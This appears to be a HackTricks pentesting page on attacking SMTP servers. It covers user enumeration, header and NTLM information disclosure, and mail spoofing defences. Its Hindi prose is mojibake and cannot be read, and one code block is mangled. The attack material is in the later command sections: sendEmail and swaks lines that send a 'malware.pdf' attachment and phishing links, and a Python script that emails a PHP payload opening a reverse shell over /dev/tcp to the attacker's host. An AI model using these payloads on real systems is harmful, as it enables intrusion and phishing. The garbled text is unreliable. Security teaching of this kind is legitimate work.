hacktricks/network-services-pentesting/pentesting-smtp/README.md

50 KiB

25,465,587 - Pentesting SMTP/s

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

рдЕрдкрдиреЗ рд╡реЗрдм рдРрдкреНрд╕, рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рдХреНрд▓рд╛рдЙрдб рдкрд░ рдПрдХ рд╣реИрдХрд░ рдХрд╛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

рдорд╣рддреНрд╡рдкреВрд░реНрдг, рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬреЗрдВ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯ рдХрд░реЗрдВ рдЬрд┐рдирдХрд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╡реНрдпрд╛рд╡рд╕рд╛рдпрд┐рдХ рдкреНрд░рднрд╛рд╡ рд╣реИред рд╣рдорд╛рд░реЗ 20+ рдХрд╕реНрдЯрдо рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рдХрд╛ рдорд╛рдирдЪрд┐рддреНрд░рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЙрди рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдФрд░ рдЖрд╡рд╢реНрдпрдХ рд╕рдмреВрдд рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╢реЛрд╖рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдЖрдкрдХрд╛ рдХрдард┐рди рдХрд╛рдо рдкреНрд░рднрд╛рд╡рд╢рд╛рд▓реА рд░рд┐рдкреЛрд░реНрдЯреЛрдВ рдореЗрдВ рдмрджрд▓ рдЬрд╛рдПред

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА

рд╕рд┐рдВрдкрд▓ рдореЗрд▓ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ (SMTP) рдПрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬреЛ рдИ-рдореЗрд▓ рднреЗрдЬрдиреЗ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП TCP/IP рд╕реВрдЯ рдХреЗ рднреАрддрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдХреЗ рдЕрдВрдд рдкрд░ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдХрддрд╛рд░рдмрджреНрдз рдХрд░рдиреЗ рдореЗрдВ рдЗрд╕рдХреА рд╕реАрдорд╛рдУрдВ рдХреЗ рдХрд╛рд░рдг, SMTP рдЕрдХреНрд╕рд░ POP3 рдпрд╛ IMAP рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпреЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕рд░реНрд╡рд░ рдореЗрд▓рдмреЙрдХреНрд╕ рдкрд░ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕рдордп-рд╕рдордп рдкрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред

рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ, рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рдХрд┐ рдИ-рдореЗрд▓ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдИ-рдореЗрд▓ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП SMTP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП POP3 рдпрд╛ IMAP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдпреВрдирд┐рдХреНрд╕ рдЖрдзрд╛рд░рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдкрд░, sendmail рдИ-рдореЗрд▓ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ SMTP рд╕рд░реНрд╡рд░ рд╣реИред Sendmail рдХреЗ рд░реВрдк рдореЗрдВ рдЬреНрдЮрд╛рдд рд╡реНрдпрд╛рд╡рд╕рд╛рдпрд┐рдХ рдкреИрдХреЗрдЬ рдореЗрдВ рдПрдХ POP3 рд╕рд░реНрд╡рд░ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, Microsoft Exchange рдПрдХ SMTP рд╕рд░реНрд╡рд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ POP3 рд╕рдорд░реНрдерди рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рджреЗрддрд╛ рд╣реИред

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╢рд┐рдХрд╛рд░ рдХреЛ рдЖрдкрдХреЛ рдПрдХ рдИрдореЗрд▓ рднреЗрдЬрдиреЗ рдХрд╛ рдЕрд╡рд╕рд░ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡реЗрдм рдкреГрд╖реНрда рдХреЗ рд╕рдВрдкрд░реНрдХ рдлрд╝реЙрд░реНрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ), рддреЛ рдРрд╕рд╛ рдХрд░реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рд╢рд┐рдХрд╛рд░ рдХреА рдЖрдВрддрд░рд┐рдХ рдЯреЛрдкреЛрд▓реЙрдЬреА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдореЗрд▓ рдХреЗ рд╣реЗрдбрд░ рдХреЛ рджреЗрдЦрдХрд░ред

рдЖрдк рдПрдХ SMTP рд╕рд░реНрд╡рд░ рд╕реЗ рдПрдХ рдИрдореЗрд▓ рднреА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрд╕ рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ рдЧреИрд░-рдореМрдЬреВрдж рдкрддреЗ рдкрд░ рдИрдореЗрд▓ рднреЗрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реИ (рдХреНрдпреЛрдВрдХрд┐ рд╕рд░реНрд╡рд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ NDN рдореЗрд▓ рднреЗрдЬреЗрдЧрд╛)ред рд▓реЗрдХрд┐рди, рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдк рдИрдореЗрд▓ рдПрдХ рдЕрдиреБрдордд рдкрддреЗ рд╕реЗ рднреЗрдЬрддреЗ рд╣реИрдВ (SPF рдиреАрддрд┐ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ) рдФрд░ рдХрд┐ рдЖрдк NDN рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдкрдХреЛ рд╡рд┐рднрд┐рдиреНрди рд╕рд╛рдордЧреНрд░реА рднреЗрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рднреА рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рд╣реЗрдбрд░ рдореЗрдВ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ: X-Virus-Scanned: by av.domain.com
рдЖрдкрдХреЛ EICAR рдкрд░реАрдХреНрд╖рдг рдлрд╝рд╛рдЗрд▓ рднреЗрдЬрдиреА рдЪрд╛рд╣рд┐рдПред
AV рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдЖрдкрдХреЛ рдЬреНрдЮрд╛рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред

Basic actions

Banner Grabbing/Basic connection

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

рдХрд┐рд╕реА рд╕рдВрдЧрдарди рдХреЗ MX рд╕рд░реНрд╡рд░реЛрдВ рдХреЛ рдЦреЛрдЬрдирд╛

dig +short mx google.com

рдЧрдгрдирд╛

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛

рдпрджрд┐ рд╕рд░реНрд╡рд░ NTLM рдСрде (Windows) рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА (рд╕рдВрд╕реНрдХрд░рдг) рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдВред

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Or automate this with nmap plugin smtp-ntlm-info.nse

Internal server name - Information disclosure

рдХреБрдЫ SMTP рд╕рд░реНрд╡рд░ "MAIL FROM" рдХрдорд╛рдВрдб рдЬрд╛рд░реА рдХрд░рдиреЗ рдкрд░ рдЬрдм рдкреВрд░реНрдг рдкрддрд╛ рдирд╣реАрдВ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдкреНрд░реЗрд╖рдХ рдХреЗ рдкрддреЗ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкреВрд░рд╛ рдХрд░ рджреЗрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЗрд╕рдХрд╛ рдЖрдВрддрд░рд┐рдХ рдирд╛рдо рдкреНрд░рдХрдЯ рд╣реЛрддрд╛ рд╣реИ:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдкреЛрд░реНрдЯ 25 рд╕реЗ рдкреИрдХреЗрдЯреНрд╕ рд╕реЗ рдХреБрдЫ рдкрд╛рд╕рд╡рд░реНрдб рд╕реНрдирд┐рдлрд╝ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

Auth bruteforce

Username Bruteforce Enumeration

рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╣рдореЗрд╢рд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

The VRFY command is used to verify if a specific email address exists on the mail server.

VRFY рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдИрдореЗрд▓ рдкрддрд╛ рдореЗрд▓ рд╕рд░реНрд╡рд░ рдкрд░ рдореМрдЬреВрдж рд╣реИред

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

рдЕрдкрдиреЗ рд╡реЗрдм рдРрдкреНрд╕, рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рдХреНрд▓рд╛рдЙрдб рдкрд░ рдПрдХ рд╣реИрдХрд░ рдХрд╛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╡реНрдпрд╛рд╡рд╕рд╛рдпрд┐рдХ рдкреНрд░рднрд╛рд╡ рдХреЗ рд╕рд╛рде рдорд╣рддреНрд╡рдкреВрд░реНрдг, рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬреЗрдВ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯ рдХрд░реЗрдВред рд╣рдорд╛рд░реЗ 20+ рдХрд╕реНрдЯрдо рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рдХрд╛ рдорд╛рдирдЪрд┐рддреНрд░рдг рдХрд░реЗрдВ, рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдХреЛ рдЦреЛрдЬреЗрдВ рдЬреЛ рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдФрд░ рдЖрд╡рд╢реНрдпрдХ рд╕рдмреВрдд рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╢реЛрд╖рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдЖрдкрдХрд╛ рдХрдард┐рди рдХрд╛рдо рдкреНрд░рднрд╛рд╡рд╢рд╛рд▓реА рд░рд┐рдкреЛрд░реНрдЯреЛрдВ рдореЗрдВ рдмрджрд▓ рдЬрд╛рдПред

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

DSN рд░рд┐рдкреЛрд░реНрдЯ

рдбрд┐рд▓реАрд╡рд░реА рд╕реНрдерд┐рддрд┐ рд╕реВрдЪрдирд╛ рд░рд┐рдкреЛрд░реНрдЯ: рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рд╕рдВрдЧрдарди рдХреЛ рдПрдХ рдИрдореЗрд▓ рднреЗрдЬрддреЗ рд╣реИрдВ рдПрдХ рдЕрдорд╛рдиреНрдп рдкрддреЗ рдкрд░, рддреЛ рд╕рдВрдЧрдарди рдЖрдкрдХреЛ рд╕реВрдЪрд┐рдд рдХрд░реЗрдЧрд╛ рдХрд┐ рдкрддрд╛ рдЕрдорд╛рдиреНрдп рдерд╛, рдЖрдкрдХреЛ рдореЗрд▓ рд╡рд╛рдкрд╕ рднреЗрдЬрдХрд░ред рд╣реИрдбрд░ рдореЗрдВ рд▓реМрдЯрд╛рдП рдЧрдП рдИрдореЗрд▓ рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА (рдЬреИрд╕реЗ рд░рд┐рдкреЛрд░реНрдЯ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рд╡рд╛рд▓реА рдореЗрд▓ рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ IP рдкрддрд╛ рдпрд╛ рдПрдВрдЯреА-рд╡рд╛рдпрд░рд╕ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреА рдЬрд╛рдирдХрд╛рд░реА) рд╢рд╛рдорд┐рд▓ рд╣реЛрдЧреАред

Commands

рд▓рд┐рдирдХреНрд╕ рдХрдВрд╕реЛрд▓ рд╕реЗ рдИрдореЗрд▓ рднреЗрдЬрдирд╛

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Sending an Email with Python

рдпрд╣рд╛рдВ Python рдХреЛрдб рд╣реИ ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## SMTP Smuggling

SMTP Smuggling рднреЗрджреНрдпрддрд╛ рдиреЗ рд╕рднреА SMTP рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА (рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЕрдЧрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдХреЛ рджреЗрдЦреЗрдВ)ред SMTP Smuggling рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ:

{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}

## Mail Spoofing Countermeasures

рд╕рдВрд╕реНрдерд╛рдПрдБ **SPF**, **DKIM**, рдФрд░ **DMARC** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдирдХреА рдУрд░ рд╕реЗ рдЕрдирдзрд┐рдХреГрдд рдИрдореЗрд▓ рднреЗрдЬрдиреЗ рд╕реЗ рд░реЛрдХреА рдЬрд╛рддреА рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ SMTP рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдзреЛрдЦрд╛ рджреЗрдирд╛ рдЖрд╕рд╛рди рд╣реИред

рдЗрди **рдХрд╛рдЙрдВрдЯрд░рдореЗрд╢рд░реНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреВрд░реНрдг рдЧрд╛рдЗрдб** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред

### SPF

{% hint style="danger" %}
SPF [2014 рдореЗрдВ "deprecated" рд╣реБрдЖ](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ `_spf.domain.com` рдореЗрдВ **TXT рд░рд┐рдХреЙрд░реНрдб** рдмрдирд╛рдиреЗ рдХреЗ рдмрдЬрд╛рдп рдЖрдк рдЗрд╕реЗ `domain.com` рдореЗрдВ **рд╕рдорд╛рди рд╕рд┐рдВрдЯреИрдХреНрд╕** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рддреЗ рд╣реИрдВред\
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкрд┐рдЫрд▓реЗ spf рд░рд┐рдХреЙрд░реНрдб рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рдХрд┐ рдХреБрдЫ рдРрд╕рд╛ рдкрд╛рдпрд╛ рдЬрд╛рдП рдЬреИрд╕реЗ `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}

**Sender Policy Framework** (SPF) рдПрдХ рддрдВрддреНрд░ рд╣реИ рдЬреЛ рдореЗрд▓ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдПрдЬреЗрдВрдЯ (MTAs) рдХреЛ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдИрдореЗрд▓ рднреЗрдЬрдиреЗ рд╡рд╛рд▓рд╛ рд╣реЛрд╕реНрдЯ рд╕рдВрдЧрдардиреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдЕрдзрд┐рдХреГрдд рдореЗрд▓ рд╕рд░реНрд╡рд░реЛрдВ рдХреА рд╕реВрдЪреА рдХреЛ рдкреВрдЫрдХрд░ рдЕрдзрд┐рдХреГрдд рд╣реИред рдпрд╣ рд╕реВрдЪреА, рдЬреЛ IP рдкрддреЗ/рд░реЗрдВрдЬ, рдбреЛрдореЗрди, рдФрд░ рдЕрдиреНрдп рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЛ **рдПрдХ рдбреЛрдореЗрди рдирд╛рдо рдХреА рдУрд░ рд╕реЗ рдИрдореЗрд▓ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХреГрдд** рдХрд░рддреА рд╣реИ, SPF рд░рд┐рдХреЙрд░реНрдб рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди "**рддрдВрддреНрд░реЛрдВ**" рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИред

#### Mechanisms

[рд╡рд┐рдХрд┐рдкреАрдбрд┐рдпрд╛](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework) рд╕реЗ:

| рддрдВрддреНрд░      | рд╡рд┐рд╡рд░рдг                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | рд╣рдореЗрд╢рд╛ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ; рд╕рднреА IPs рдХреЗ рд▓рд┐рдП рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкрд░рд┐рдгрд╛рдо рдХреЗ рд▓рд┐рдП `-all` рдЬреИрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдкрд┐рдЫрд▓реЗ рддрдВрддреНрд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ред                                                                                                                                                                                                                                  |
| A         | рдпрджрд┐ рдбреЛрдореЗрди рдирд╛рдо рдХрд╛ рдПрдХ рдкрддрд╛ рд░рд┐рдХреЙрд░реНрдб (A рдпрд╛ AAAA) рд╣реИ рдЬрд┐рд╕реЗ рднреЗрдЬрдиреЗ рд╡рд╛рд▓реЗ рдХреЗ рдкрддреЗ рдкрд░ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред                                                                                                                                                                                                                   |
| IP4       | рдпрджрд┐ рднреЗрдЬрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рджрд┐рдП рдЧрдП IPv4 рдкрддреЗ рдХреА рд░реЗрдВрдЬ рдореЗрдВ рд╣реИ, рддреЛ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред                                                                                                                                                                                                                                                                              |
| IP6       | рдпрджрд┐ рднреЗрдЬрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рджрд┐рдП рдЧрдП IPv6 рдкрддреЗ рдХреА рд░реЗрдВрдЬ рдореЗрдВ рд╣реИ, рддреЛ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред                                                                                                                                                                                                                                                                              |
